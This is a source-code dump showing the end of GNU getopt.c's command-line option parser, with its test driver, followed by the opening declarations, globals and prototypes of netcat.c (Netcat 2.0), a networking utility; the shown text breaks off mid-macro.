__getopt_initialized = 0; 137 | 138 | /* The next char to be scanned in the option-element 139 | in which the last option character we returned was found. 140 | This allows us to pick up the scan where we left off. 141 | 142 | If this is zero, or a null string, it means resume the scan 143 | by advancing to the next ARGV-element. */ 144 | 145 | static char *nextchar; 146 | 147 | /* Callers store zero here to inhibit the error message 148 | for unrecognized options. */ 149 | 150 | int opterr = 1; 151 | 152 | /* Set to an option character which was unrecognized. 153 | This must be initialized on some systems to avoid linking in the 154 | system's own getopt implementation. */ 155 | 156 | int optopt = '?'; 157 | 158 | /* Describe how to deal with options that follow non-option ARGV-elements. 159 | 160 | If the caller did not specify anything, 161 | the default is REQUIRE_ORDER if the environment variable 162 | POSIXLY_CORRECT is defined, PERMUTE otherwise. 163 | 164 | REQUIRE_ORDER means don't recognize them as options; 165 | stop option processing when the first non-option is seen. 166 | This is what Unix does. 167 | This mode of operation is selected by either setting the environment 168 | variable POSIXLY_CORRECT, or using `+' as the first character 169 | of the list of option characters. 170 | 171 | PERMUTE is the default. We permute the contents of ARGV as we scan, 172 | so that eventually all the non-options are at the end. This allows options 173 | to be given in any order, even with programs that were not written to 174 | expect this. 175 | 176 | RETURN_IN_ORDER is an option available to programs that were written 177 | to expect options and other ARGV-elements in any order and that care about 178 | the ordering of the two. We describe each non-option ARGV-element 179 | as if it were the argument of an option with character code 1. 180 | Using `-' as the first character of the list of option characters 181 | selects this mode of operation. 182 | 183 | The special argument `--' forces an end of option-scanning regardless 184 | of the value of `ordering'. In the case of RETURN_IN_ORDER, only 185 | `--' can cause `getopt' to return -1 with `optind' != ARGC. */ 186 | 187 | static enum 188 | { 189 | REQUIRE_ORDER, PERMUTE, RETURN_IN_ORDER 190 | } ordering; 191 | 192 | /* Value of POSIXLY_CORRECT environment variable. */ 193 | static char *posixly_correct; 194 | 195 | #ifdef __GNU_LIBRARY__ 196 | /* We want to avoid inclusion of string.h with non-GNU libraries 197 | because there are many ways it can cause trouble. 198 | On some systems, it contains special magic macros that don't work 199 | in GCC. */ 200 | # include 201 | # define my_index strchr 202 | #else 203 | 204 | /* Avoid depending on library functions or files 205 | whose names are inconsistent. */ 206 | 207 | #ifndef getenv 208 | extern char *getenv (); 209 | #endif 210 | #ifndef strncmp 211 | extern int strncmp (); 212 | #endif 213 | 214 | static char * 215 | my_index (str, chr) 216 | const char *str; 217 | int chr; 218 | { 219 | while (*str) 220 | { 221 | if (*str == chr) 222 | return (char *) str; 223 | str++; 224 | } 225 | return 0; 226 | } 227 | 228 | /* If using GCC, we can safely declare strlen this way. 229 | If not using GCC, it is ok not to declare it. */ 230 | #ifdef __GNUC__ 231 | /* Note that Motorola Delta 68k R3V7 comes with GCC but not stddef.h. 232 | That was relevant to code that was here before. */ 233 | # if (!defined __STDC__ || !__STDC__) && !defined strlen 234 | /* gcc with -traditional declares the built-in strlen to return int, 235 | and has done so at least since version 2.4.5. -- rms. */ 236 | extern int strlen (const char *); 237 | # endif /* not __STDC__ */ 238 | #endif /* __GNUC__ */ 239 | 240 | #endif /* not __GNU_LIBRARY__ */ 241 | 242 | /* Handle permutation of arguments. */ 243 | 244 | /* Describe the part of ARGV that contains non-options that have 245 | been skipped. `first_nonopt' is the index in ARGV of the first of them; 246 | `last_nonopt' is the index after the last of them. */ 247 | 248 | static int first_nonopt; 249 | static int last_nonopt; 250 | 251 | #ifdef _LIBC 252 | /* Bash 2.0 gives us an environment variable containing flags 253 | indicating ARGV elements that should not be considered arguments. */ 254 | 255 | /* Defined in getopt_init.c */ 256 | extern char *__getopt_nonoption_flags; 257 | 258 | static int nonoption_flags_max_len; 259 | static int nonoption_flags_len; 260 | 261 | static int original_argc; 262 | static char *const *original_argv; 263 | 264 | /* Make sure the environment variable bash 2.0 puts in the environment 265 | is valid for the getopt call we must make sure that the ARGV passed 266 | to getopt is that one passed to the process. */ 267 | static void 268 | __attribute__ ((unused)) 269 | store_args_and_env (int argc, char *const *argv) 270 | { 271 | /* XXX This is no good solution. We should rather copy the args so 272 | that we can compare them later. But we must not use malloc(3). */ 273 | original_argc = argc; 274 | original_argv = argv; 275 | } 276 | # ifdef text_set_element 277 | text_set_element (__libc_subinit, store_args_and_env); 278 | # endif /* text_set_element */ 279 | 280 | # define SWAP_FLAGS(ch1, ch2) \ 281 | if (nonoption_flags_len > 0) \ 282 | { \ 283 | char __tmp = __getopt_nonoption_flags[ch1]; \ 284 | __getopt_nonoption_flags[ch1] = __getopt_nonoption_flags[ch2]; \ 285 | __getopt_nonoption_flags[ch2] = __tmp; \ 286 | } 287 | #else /* !_LIBC */ 288 | # define SWAP_FLAGS(ch1, ch2) 289 | #endif /* _LIBC */ 290 | 291 | /* Exchange two adjacent subsequences of ARGV. 292 | One subsequence is elements [first_nonopt,last_nonopt) 293 | which contains all the non-options that have been skipped so far. 294 | The other is elements [last_nonopt,optind), which contains all 295 | the options processed since those non-options were skipped. 296 | 297 | `first_nonopt' and `last_nonopt' are relocated so that they describe 298 | the new indices of the non-options in ARGV after they are moved. */ 299 | 300 | #if defined __STDC__ && __STDC__ 301 | static void exchange (char **); 302 | #endif 303 | 304 | static void 305 | exchange (argv) 306 | char **argv; 307 | { 308 | int bottom = first_nonopt; 309 | int middle = last_nonopt; 310 | int top = optind; 311 | char *tem; 312 | 313 | /* Exchange the shorter segment with the far end of the longer segment. 314 | That puts the shorter segment into the right place. 315 | It leaves the longer segment in the right place overall, 316 | but it consists of two parts that need to be swapped next. */ 317 | 318 | #ifdef _LIBC 319 | /* First make sure the handling of the `__getopt_nonoption_flags' 320 | string can work normally. Our top argument must be in the range 321 | of the string. */ 322 | if (nonoption_flags_len > 0 && top >= nonoption_flags_max_len) 323 | { 324 | /* We must extend the array. The user plays games with us and 325 | presents new arguments. */ 326 | char *new_str = malloc (top + 1); 327 | if (new_str == NULL) 328 | nonoption_flags_len = nonoption_flags_max_len = 0; 329 | else 330 | { 331 | memset (__mempcpy (new_str, __getopt_nonoption_flags, 332 | nonoption_flags_max_len), 333 | '\0', top + 1 - nonoption_flags_max_len); 334 | nonoption_flags_max_len = top + 1; 335 | __getopt_nonoption_flags = new_str; 336 | } 337 | } 338 | #endif 339 | 340 | while (top > middle && middle > bottom) 341 | { 342 | if (top - middle > middle - bottom) 343 | { 344 | /* Bottom segment is the short one. */ 345 | int len = middle - bottom; 346 | register int i; 347 | 348 | /* Swap it with the top part of the top segment. */ 349 | for (i = 0; i < len; i++) 350 | { 351 | tem = argv[bottom + i]; 352 | argv[bottom + i] = argv[top - (middle - bottom) + i]; 353 | argv[top - (middle - bottom) + i] = tem; 354 | SWAP_FLAGS (bottom + i, top - (middle - bottom) + i); 355 | } 356 | /* Exclude the moved bottom segment from further swapping. */ 357 | top -= len; 358 | } 359 | else 360 | { 361 | /* Top segment is the short one. */ 362 | int len = top - middle; 363 | register int i; 364 | 365 | /* Swap it with the bottom part of the bottom segment. */ 366 | for (i = 0; i < len; i++) 367 | { 368 | tem = argv[bottom + i]; 369 | argv[bottom + i] = argv[middle + i]; 370 | argv[middle + i] = tem; 371 | SWAP_FLAGS (bottom + i, middle + i); 372 | } 373 | /* Exclude the moved top segment from further swapping. */ 374 | bottom += len; 375 | } 376 | } 377 | 378 | /* Update records for the slots the non-options now occupy. */ 379 | 380 | first_nonopt += (optind - last_nonopt); 381 | last_nonopt = optind; 382 | } 383 | 384 | /* Initialize the internal data when the first call is made. */ 385 | 386 | #if defined __STDC__ && __STDC__ 387 | static const char *_getopt_initialize (int, char *const *, const char *); 388 | #endif 389 | static const char * 390 | _getopt_initialize (argc, argv, optstring) 391 | int argc; 392 | char *const *argv; 393 | const char *optstring; 394 | { 395 | /* Start processing options with ARGV-element 1 (since ARGV-element 0 396 | is the program name); the sequence of previously skipped 397 | non-option ARGV-elements is empty. */ 398 | 399 | first_nonopt = last_nonopt = optind; 400 | 401 | nextchar = NULL; 402 | 403 | posixly_correct = getenv ("POSIXLY_CORRECT"); 404 | 405 | /* Determine how to handle the ordering of options and nonoptions. */ 406 | 407 | if (optstring[0] == '-') 408 | { 409 | ordering = RETURN_IN_ORDER; 410 | ++optstring; 411 | } 412 | else if (optstring[0] == '+') 413 | { 414 | ordering = REQUIRE_ORDER; 415 | ++optstring; 416 | } 417 | else if (posixly_correct != NULL) 418 | ordering = REQUIRE_ORDER; 419 | else 420 | ordering = PERMUTE; 421 | 422 | #ifdef _LIBC 423 | if (posixly_correct == NULL 424 | && argc == original_argc && argv == original_argv) 425 | { 426 | if (nonoption_flags_max_len == 0) 427 | { 428 | if (__getopt_nonoption_flags == NULL 429 | || __getopt_nonoption_flags[0] == '\0') 430 | nonoption_flags_max_len = -1; 431 | else 432 | { 433 | const char *orig_str = __getopt_nonoption_flags; 434 | int len = nonoption_flags_max_len = strlen (orig_str); 435 | if (nonoption_flags_max_len < argc) 436 | nonoption_flags_max_len = argc; 437 | __getopt_nonoption_flags = 438 | (char *) malloc (nonoption_flags_max_len); 439 | if (__getopt_nonoption_flags == NULL) 440 | nonoption_flags_max_len = -1; 441 | else 442 | memset (__mempcpy (__getopt_nonoption_flags, orig_str, len), 443 | '\0', nonoption_flags_max_len - len); 444 | } 445 | } 446 | nonoption_flags_len = nonoption_flags_max_len; 447 | } 448 | else 449 | nonoption_flags_len = 0; 450 | #endif 451 | 452 | return optstring; 453 | } 454 | 455 | /* Scan elements of ARGV (whose length is ARGC) for option characters 456 | given in OPTSTRING. 457 | 458 | If an element of ARGV starts with '-', and is not exactly "-" or "--", 459 | then it is an option element. The characters of this element 460 | (aside from the initial '-') are option characters. If `getopt' 461 | is called repeatedly, it returns successively each of the option characters 462 | from each of the option elements. 463 | 464 | If `getopt' finds another option character, it returns that character, 465 | updating `optind' and `nextchar' so that the next call to `getopt' can 466 | resume the scan with the following option character or ARGV-element. 467 | 468 | If there are no more option characters, `getopt' returns -1. 469 | Then `optind' is the index in ARGV of the first ARGV-element 470 | that is not an option. (The ARGV-elements have been permuted 471 | so that those that are not options now come last.) 472 | 473 | OPTSTRING is a string containing the legitimate option characters. 474 | If an option character is seen that is not listed in OPTSTRING, 475 | return '?' after printing an error message. If you set `opterr' to 476 | zero, the error message is suppressed but we still return '?'. 477 | 478 | If a char in OPTSTRING is followed by a colon, that means it wants an arg, 479 | so the following text in the same ARGV-element, or the text of the following 480 | ARGV-element, is returned in `optarg'. Two colons mean an option that 481 | wants an optional arg; if there is text in the current ARGV-element, 482 | it is returned in `optarg', otherwise `optarg' is set to zero. 483 | 484 | If OPTSTRING starts with `-' or `+', it requests different methods of 485 | handling the non-option ARGV-elements. 486 | See the comments about RETURN_IN_ORDER and REQUIRE_ORDER, above. 487 | 488 | Long-named options begin with `--' instead of `-'. 489 | Their names may be abbreviated as long as the abbreviation is unique 490 | or is an exact match for some defined option. If they have an 491 | argument, it follows the option name in the same ARGV-element, separated 492 | from the option name by a `=', or else the in next ARGV-element. 493 | When `getopt' finds a long-named option, it returns 0 if that option's 494 | `flag' field is nonzero, the value of the option's `val' field 495 | if the `flag' field is zero. 496 | 497 | The elements of ARGV aren't really const, because we permute them. 498 | But we pretend they're const in the prototype to be compatible 499 | with other systems. 500 | 501 | LONGOPTS is a vector of `struct option' terminated by an 502 | element containing a name which is zero. 503 | 504 | LONGIND returns the index in LONGOPT of the long-named option found. 505 | It is only valid when a long-named option has been found by the most 506 | recent call. 507 | 508 | If LONG_ONLY is nonzero, '-' as well as '--' can introduce 509 | long-named options. */ 510 | 511 | int 512 | _getopt_internal (argc, argv, optstring, longopts, longind, long_only) 513 | int argc; 514 | char *const *argv; 515 | const char *optstring; 516 | const struct option *longopts; 517 | int *longind; 518 | int long_only; 519 | { 520 | optarg = NULL; 521 | 522 | if (optind == 0 || !__getopt_initialized) 523 | { 524 | if (optind == 0) 525 | optind = 1; /* Don't scan ARGV[0], the program name. */ 526 | optstring = _getopt_initialize (argc, argv, optstring); 527 | __getopt_initialized = 1; 528 | } 529 | 530 | /* Test whether ARGV[optind] points to a non-option argument. 531 | Either it does not have option syntax, or there is an environment flag 532 | from the shell indicating it is not an option. The later information 533 | is only used when the used in the GNU libc. */ 534 | #ifdef _LIBC 535 | # define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0' \ 536 | || (optind < nonoption_flags_len \ 537 | && __getopt_nonoption_flags[optind] == '1')) 538 | #else 539 | # define NONOPTION_P (argv[optind][0] != '-' || argv[optind][1] == '\0') 540 | #endif 541 | 542 | if (nextchar == NULL || *nextchar == '\0') 543 | { 544 | /* Advance to the next ARGV-element. */ 545 | 546 | /* Give FIRST_NONOPT & LAST_NONOPT rational values if OPTIND has been 547 | moved back by the user (who may also have changed the arguments). */ 548 | if (last_nonopt > optind) 549 | last_nonopt = optind; 550 | if (first_nonopt > optind) 551 | first_nonopt = optind; 552 | 553 | if (ordering == PERMUTE) 554 | { 555 | /* If we have just processed some options following some non-options, 556 | exchange them so that the options come first. */ 557 | 558 | if (first_nonopt != last_nonopt && last_nonopt != optind) 559 | exchange ((char **) argv); 560 | else if (last_nonopt != optind) 561 | first_nonopt = optind; 562 | 563 | /* Skip any additional non-options 564 | and extend the range of non-options previously skipped. */ 565 | 566 | while (optind < argc && NONOPTION_P) 567 | optind++; 568 | last_nonopt = optind; 569 | } 570 | 571 | /* The special ARGV-element `--' means premature end of options. 572 | Skip it like a null option, 573 | then exchange with previous non-options as if it were an option, 574 | then skip everything else like a non-option. */ 575 | 576 | if (optind != argc && !strcmp (argv[optind], "--")) 577 | { 578 | optind++; 579 | 580 | if (first_nonopt != last_nonopt && last_nonopt != optind) 581 | exchange ((char **) argv); 582 | else if (first_nonopt == last_nonopt) 583 | first_nonopt = optind; 584 | last_nonopt = argc; 585 | 586 | optind = argc; 587 | } 588 | 589 | /* If we have done all the ARGV-elements, stop the scan 590 | and back over any non-options that we skipped and permuted. */ 591 | 592 | if (optind == argc) 593 | { 594 | /* Set the next-arg-index to point at the non-options 595 | that we previously skipped, so the caller will digest them. */ 596 | if (first_nonopt != last_nonopt) 597 | optind = first_nonopt; 598 | return -1; 599 | } 600 | 601 | /* If we have come to a non-option and did not permute it, 602 | either stop the scan or describe it to the caller and pass it by. */ 603 | 604 | if (NONOPTION_P) 605 | { 606 | if (ordering == REQUIRE_ORDER) 607 | return -1; 608 | optarg = argv[optind++]; 609 | return 1; 610 | } 611 | 612 | /* We have found another option-ARGV-element. 613 | Skip the initial punctuation. */ 614 | 615 | nextchar = (argv[optind] + 1 616 | + (longopts != NULL && argv[optind][1] == '-')); 617 | } 618 | 619 | /* Decode the current option-ARGV-element. */ 620 | 621 | /* Check whether the ARGV-element is a long option. 622 | 623 | If long_only and the ARGV-element has the form "-f", where f is 624 | a valid short option, don't consider it an abbreviated form of 625 | a long option that starts with f. Otherwise there would be no 626 | way to give the -f short option. 627 | 628 | On the other hand, if there's a long option "fubar" and 629 | the ARGV-element is "-fu", do consider that an abbreviation of 630 | the long option, just like "--fu", and not "-f" with arg "u". 631 | 632 | This distinction seems to be the most useful approach. */ 633 | 634 | if (longopts != NULL 635 | && (argv[optind][1] == '-' 636 | || (long_only && (argv[optind][2] || !my_index (optstring, argv[optind][1]))))) 637 | { 638 | char *nameend; 639 | const struct option *p; 640 | const struct option *pfound = NULL; 641 | int exact = 0; 642 | int ambig = 0; 643 | int indfound = -1; 644 | int option_index; 645 | 646 | for (nameend = nextchar; *nameend && *nameend != '='; nameend++) 647 | /* Do nothing. */ ; 648 | 649 | /* Test all long options for either exact match 650 | or abbreviated matches. */ 651 | for (p = longopts, option_index = 0; p->name; p++, option_index++) 652 | if (!strncmp (p->name, nextchar, nameend - nextchar)) 653 | { 654 | if ((unsigned int) (nameend - nextchar) 655 | == (unsigned int) strlen (p->name)) 656 | { 657 | /* Exact match found. */ 658 | pfound = p; 659 | indfound = option_index; 660 | exact = 1; 661 | break; 662 | } 663 | else if (pfound == NULL) 664 | { 665 | /* First nonexact match found. */ 666 | pfound = p; 667 | indfound = option_index; 668 | } 669 | else 670 | /* Second or later nonexact match found. */ 671 | ambig = 1; 672 | } 673 | 674 | if (ambig && !exact) 675 | { 676 | if (opterr) 677 | fprintf (stderr, _("%s: option `%s' is ambiguous\n"), 678 | argv[0], argv[optind]); 679 | nextchar += strlen (nextchar); 680 | optind++; 681 | optopt = 0; 682 | return '?'; 683 | } 684 | 685 | if (pfound != NULL) 686 | { 687 | option_index = indfound; 688 | optind++; 689 | if (*nameend) 690 | { 691 | /* Don't test has_arg with >, because some C compilers don't 692 | allow it to be used on enums. */ 693 | if (pfound->has_arg) 694 | optarg = nameend + 1; 695 | else 696 | { 697 | if (opterr) 698 | if (argv[optind - 1][1] == '-') 699 | /* --option */ 700 | fprintf (stderr, 701 | _("%s: option `--%s' doesn't allow an argument\n"), 702 | argv[0], pfound->name); 703 | else 704 | /* +option or -option */ 705 | fprintf (stderr, 706 | _("%s: option `%c%s' doesn't allow an argument\n"), 707 | argv[0], argv[optind - 1][0], pfound->name); 708 | 709 | nextchar += strlen (nextchar); 710 | 711 | optopt = pfound->val; 712 | return '?'; 713 | } 714 | } 715 | else if (pfound->has_arg == 1) 716 | { 717 | if (optind < argc) 718 | optarg = argv[optind++]; 719 | else 720 | { 721 | if (opterr) 722 | fprintf (stderr, 723 | _("%s: option `%s' requires an argument\n"), 724 | argv[0], argv[optind - 1]); 725 | nextchar += strlen (nextchar); 726 | optopt = pfound->val; 727 | return optstring[0] == ':' ? ':' : '?'; 728 | } 729 | } 730 | nextchar += strlen (nextchar); 731 | if (longind != NULL) 732 | *longind = option_index; 733 | if (pfound->flag) 734 | { 735 | *(pfound->flag) = pfound->val; 736 | return 0; 737 | } 738 | return pfound->val; 739 | } 740 | 741 | /* Can't find it as a long option. If this is not getopt_long_only, 742 | or the option starts with '--' or is not a valid short 743 | option, then it's an error. 744 | Otherwise interpret it as a short option. */ 745 | if (!long_only || argv[optind][1] == '-' 746 | || my_index (optstring, *nextchar) == NULL) 747 | { 748 | if (opterr) 749 | { 750 | if (argv[optind][1] == '-') 751 | /* --option */ 752 | fprintf (stderr, _("%s: unrecognized option `--%s'\n"), 753 | argv[0], nextchar); 754 | else 755 | /* +option or -option */ 756 | fprintf (stderr, _("%s: unrecognized option `%c%s'\n"), 757 | argv[0], argv[optind][0], nextchar); 758 | } 759 | nextchar = (char *) ""; 760 | optind++; 761 | optopt = 0; 762 | return '?'; 763 | } 764 | } 765 | 766 | /* Look at and handle the next short option-character. */ 767 | 768 | { 769 | char c = *nextchar++; 770 | char *temp = my_index (optstring, c); 771 | 772 | /* Increment `optind' when we start to process its last character. */ 773 | if (*nextchar == '\0') 774 | ++optind; 775 | 776 | if (temp == NULL || c == ':') 777 | { 778 | if (opterr) 779 | { 780 | if (posixly_correct) 781 | /* 1003.2 specifies the format of this message. */ 782 | fprintf (stderr, _("%s: illegal option -- %c\n"), 783 | argv[0], c); 784 | else 785 | fprintf (stderr, _("%s: invalid option -- %c\n"), 786 | argv[0], c); 787 | } 788 | optopt = c; 789 | return '?'; 790 | } 791 | /* Convenience. Treat POSIX -W foo same as long option --foo */ 792 | if (temp[0] == 'W' && temp[1] == ';') 793 | { 794 | char *nameend; 795 | const struct option *p; 796 | const struct option *pfound = NULL; 797 | int exact = 0; 798 | int ambig = 0; 799 | int indfound = 0; 800 | int option_index; 801 | 802 | /* This is an option that requires an argument. */ 803 | if (*nextchar != '\0') 804 | { 805 | optarg = nextchar; 806 | /* If we end this ARGV-element by taking the rest as an arg, 807 | we must advance to the next element now. */ 808 | optind++; 809 | } 810 | else if (optind == argc) 811 | { 812 | if (opterr) 813 | { 814 | /* 1003.2 specifies the format of this message. */ 815 | fprintf (stderr, _("%s: option requires an argument -- %c\n"), 816 | argv[0], c); 817 | } 818 | optopt = c; 819 | if (optstring[0] == ':') 820 | c = ':'; 821 | else 822 | c = '?'; 823 | return c; 824 | } 825 | else 826 | /* We already incremented `optind' once; 827 | increment it again when taking next ARGV-elt as argument. */ 828 | optarg = argv[optind++]; 829 | 830 | /* optarg is now the argument, see if it's in the 831 | table of longopts. */ 832 | 833 | for (nextchar = nameend = optarg; *nameend && *nameend != '='; nameend++) 834 | /* Do nothing. */ ; 835 | 836 | /* Test all long options for either exact match 837 | or abbreviated matches. */ 838 | for (p = longopts, option_index = 0; p->name; p++, option_index++) 839 | if (!strncmp (p->name, nextchar, nameend - nextchar)) 840 | { 841 | if ((unsigned int) (nameend - nextchar) == strlen (p->name)) 842 | { 843 | /* Exact match found. */ 844 | pfound = p; 845 | indfound = option_index; 846 | exact = 1; 847 | break; 848 | } 849 | else if (pfound == NULL) 850 | { 851 | /* First nonexact match found. */ 852 | pfound = p; 853 | indfound = option_index; 854 | } 855 | else 856 | /* Second or later nonexact match found. */ 857 | ambig = 1; 858 | } 859 | if (ambig && !exact) 860 | { 861 | if (opterr) 862 | fprintf (stderr, _("%s: option `-W %s' is ambiguous\n"), 863 | argv[0], argv[optind]); 864 | nextchar += strlen (nextchar); 865 | optind++; 866 | return '?'; 867 | } 868 | if (pfound != NULL) 869 | { 870 | option_index = indfound; 871 | if (*nameend) 872 | { 873 | /* Don't test has_arg with >, because some C compilers don't 874 | allow it to be used on enums. */ 875 | if (pfound->has_arg) 876 | optarg = nameend + 1; 877 | else 878 | { 879 | if (opterr) 880 | fprintf (stderr, _("\ 881 | %s: option `-W %s' doesn't allow an argument\n"), 882 | argv[0], pfound->name); 883 | 884 | nextchar += strlen (nextchar); 885 | return '?'; 886 | } 887 | } 888 | else if (pfound->has_arg == 1) 889 | { 890 | if (optind < argc) 891 | optarg = argv[optind++]; 892 | else 893 | { 894 | if (opterr) 895 | fprintf (stderr, 896 | _("%s: option `%s' requires an argument\n"), 897 | argv[0], argv[optind - 1]); 898 | nextchar += strlen (nextchar); 899 | return optstring[0] == ':' ? ':' : '?'; 900 | } 901 | } 902 | nextchar += strlen (nextchar); 903 | if (longind != NULL) 904 | *longind = option_index; 905 | if (pfound->flag) 906 | { 907 | *(pfound->flag) = pfound->val; 908 | return 0; 909 | } 910 | return pfound->val; 911 | } 912 | nextchar = NULL; 913 | return 'W'; /* Let the application handle it. */ 914 | } 915 | if (temp[1] == ':') 916 | { 917 | if (temp[2] == ':') 918 | { 919 | /* This is an option that accepts an argument optionally. */ 920 | if (*nextchar != '\0') 921 | { 922 | optarg = nextchar; 923 | optind++; 924 | } 925 | else 926 | optarg = NULL; 927 | nextchar = NULL; 928 | } 929 | else 930 | { 931 | /* This is an option that requires an argument. */ 932 | if (*nextchar != '\0') 933 | { 934 | optarg = nextchar; 935 | /* If we end this ARGV-element by taking the rest as an arg, 936 | we must advance to the next element now. */ 937 | optind++; 938 | } 939 | else if (optind == argc) 940 | { 941 | if (opterr) 942 | { 943 | /* 1003.2 specifies the format of this message. */ 944 | fprintf (stderr, 945 | _("%s: option requires an argument -- %c\n"), 946 | argv[0], c); 947 | } 948 | optopt = c; 949 | if (optstring[0] == ':') 950 | c = ':'; 951 | else 952 | c = '?'; 953 | } 954 | else 955 | /* We already incremented `optind' once; 956 | increment it again when taking next ARGV-elt as argument. */ 957 | optarg = argv[optind++]; 958 | nextchar = NULL; 959 | } 960 | } 961 | return c; 962 | } 963 | } 964 | 965 | int 966 | getopt (argc, argv, optstring) 967 | int argc; 968 | char *const *argv; 969 | const char *optstring; 970 | { 971 | return _getopt_internal (argc, argv, optstring, 972 | (const struct option *) 0, 973 | (int *) 0, 974 | 0); 975 | } 976 | 977 | #endif /* Not ELIDE_CODE. */ 978 | 979 | #ifdef TEST 980 | 981 | /* Compile with -DTEST to make an executable for use in testing 982 | the above definition of `getopt'. */ 983 | 984 | int 985 | main (argc, argv) 986 | int argc; 987 | char **argv; 988 | { 989 | int c; 990 | int digit_optind = 0; 991 | 992 | while (1) 993 | { 994 | int this_option_optind = optind ? optind : 1; 995 | 996 | c = getopt (argc, argv, "abc:d:0123456789"); 997 | if (c == -1) 998 | break; 999 | 1000 | switch (c) 1001 | { 1002 | case '0': 1003 | case '1': 1004 | case '2': 1005 | case '3': 1006 | case '4': 1007 | case '5': 1008 | case '6': 1009 | case '7': 1010 | case '8': 1011 | case '9': 1012 | if (digit_optind != 0 && digit_optind != this_option_optind) 1013 | printf ("digits occur in two different argv-elements.\n"); 1014 | digit_optind = this_option_optind; 1015 | printf ("option %c\n", c); 1016 | break; 1017 | 1018 | case 'a': 1019 | printf ("option a\n"); 1020 | break; 1021 | 1022 | case 'b': 1023 | printf ("option b\n"); 1024 | break; 1025 | 1026 | case 'c': 1027 | printf ("option c with value `%s'\n", optarg); 1028 | break; 1029 | 1030 | case '?': 1031 | break; 1032 | 1033 | default: 1034 | printf ("?? getopt returned character code 0%o ??\n", c); 1035 | } 1036 | } 1037 | 1038 | if (optind < argc) 1039 | { 1040 | printf ("non-option ARGV-elements: "); 1041 | while (optind < argc) 1042 | printf ("%s ", argv[optind++]); 1043 | printf ("\n"); 1044 | } 1045 | 1046 | exit (0); 1047 | } 1048 | 1049 | #endif /* TEST */ 1050 | -------------------------------------------------------------------------------- /netcat.c: -------------------------------------------------------------------------------- 1 | /* Netcat 2.0 2 | 3 | A damn useful little "backend" utility begun 950915 or thereabouts, 4 | as *Hobbit*'s first real stab at some sockets programming. Something that 5 | should have and indeed may have existed ten years ago, but never became a 6 | standard Unix utility. IMHO, "nc" could take its place right next to cat, 7 | cp, rm, mv, dd, ls, and all those other cryptic and Unix-like things. 8 | 9 | Read the README for the whole story, doc, applications, etc. 10 | 11 | Layout: 12 | configury: 13 | handy defines: 14 | globals: 15 | cmd-flag globals: 16 | support routines: 17 | readwrite poll loop: 18 | main: 19 | 20 | bluesky: 21 | RAW mode 22 | parse ranges of IP address as well as ports, perhaps (subnet masks?) 23 | */ 24 | 25 | /* configury: */ 26 | #ifdef HAVE_CONFIG_H 27 | #include "config.h" 28 | #endif 29 | 30 | #include 31 | #include 32 | #include 33 | #include 34 | #include 35 | #include 36 | #include 37 | #include 38 | #include 39 | #include /* basics, SO_ and AF_ defs, sockaddr, ... */ 40 | #include /* sockaddr_in, htons, in_addr */ 41 | #include 42 | #include /* hostent, gethostby*, getservby* */ 43 | #include /* inet_ntoa */ 44 | #include /* IAC, DO, DONT, WILL, WONT */ 45 | 46 | #ifdef HAVE_STRING_H 47 | #include 48 | #else 49 | #include 50 | #endif 51 | #ifndef HAVE_STRCHR 52 | #define strchr index 53 | #define strrchr rindex 54 | #endif 55 | 56 | #ifdef HAVE_GETOPT_H 57 | #include 58 | #endif 59 | 60 | #if TIME_WITH_SYS_TIME 61 | # include 62 | # include 63 | #else 64 | # if HAVE_SYS_TIME_H 65 | # include 66 | # else 67 | # include 68 | # endif 69 | #endif 70 | 71 | #ifdef HAVE_FCNTL_H 72 | #include /* O_WRONLY et al */ 73 | #endif 74 | #ifdef HAVE_SYS_FILE_H 75 | #include 76 | #endif 77 | 78 | #ifndef SO_REUSEPORT 79 | #define SO_REUSEPORT SO_REUSEADDR 80 | #endif 81 | 82 | #ifndef NI_MAXHOST 83 | #define NI_MAXHOST 1025 84 | #endif 85 | 86 | #ifndef NI_MAXSERV 87 | #define NI_MAXSERV 32 88 | #endif 89 | 90 | #ifndef HAVE_SIGSETJMP 91 | #define sigjmp_buf jmp_buf 92 | #define sigsetjmp(buf, n) setjmp(buf) 93 | #define siglongjmp longjmp 94 | #endif 95 | 96 | /* Aficionados of ?rand48() should realize that this doesn't need *strong* 97 | random numbers just to mix up port numbers!! */ 98 | #ifndef HAVE_RANDOM 99 | #define srandom srand 100 | #define random rand 101 | #endif /* !HAVE_RANDOM */ 102 | 103 | /* handy stuff: */ 104 | #define SLEAZE_PORT "31337" 105 | #define BUF_SIZE 8192 106 | #define ADDR_STRING(x) ((x) ? (x) : "any") 107 | 108 | /* globals: */ 109 | 110 | /* getaddrinfo mode */ 111 | struct addrinfo gai_hints; 112 | 113 | /* getaddrinfo error */ 114 | int gai_errno = 0; 115 | 116 | /* sigjmp_buf for timeouts */ 117 | sigjmp_buf jbuf; 118 | 119 | /* Socket descriptor */ 120 | int sock_fd = -1; 121 | 122 | /* Hexdump output file descriptor */ 123 | int dump_fd = -1; /* hexdump output fd */ 124 | 125 | unsigned short port_scan = 0; /* zero if scanning */ 126 | unsigned int wrote_out = 0; /* total stdout bytes */ 127 | unsigned int wrote_net = 0; /* total net bytes */ 128 | 129 | /* global cmd flags: */ 130 | int o_interval = -1; 131 | int o_broadcast = 0; 132 | int o_quit = -1; 133 | int o_numeric = 0; 134 | int o_proto = IPPROTO_TCP; 135 | int o_verbose = 0; 136 | int o_wait = 0; 137 | int o_telnet = 0; 138 | int o_random = 0; 139 | int o_nostdin = 0; 140 | 141 | /* Prototypes. */ 142 | static int test_udp_port (int fd, char *where); 143 | static void va_msg (int verbosity, const char *str, va_list ap); 144 | static void debug_msg (const char *str, ...); 145 | static void msg (int verbosity, const char *str, ...); 146 | static void verbose_msg (const char *str, ...); 147 | static void write_byte_counts (); 148 | static RETSIGTYPE timeout_handler (int sig); 149 | static void set_timeout (int secs); 150 | static int find_nl (char *buf, int n); 151 | static unsigned short *make_port_block (int lo, int hi); 152 | static void exec_child_pr00gie (char *pr00gie, int shell); 153 | static int bind_socket (char *local_addr, char *local_port, int proto); 154 | static int connect_socket (char *remote_addr, char *remote_port, 155 | char *local_addr, char *local_port, int proto); 156 | static int connect_server_socket (char *remote_addr, char *remote_port, 157 | char *local_addr, char *local_port, int proto); 158 | static int test_udp_port (int fd, char *host); 159 | static void hex_dump (char dir, int obc, char *buf, int bc); 160 | static int answer_telnet_negotiation (char *buf, int size); 161 | static int socket_loop (); 162 | static void usage (int exit_code); 163 | int main (int argc, char **argv); 164 | 165 | #define FROM_NET(buf, n) \ 166 | do \ 167 | { \ 168 | debug_msg ("wrote %d to stdout", n); \ 169 | if (dump_fd != -1) \ 170 | 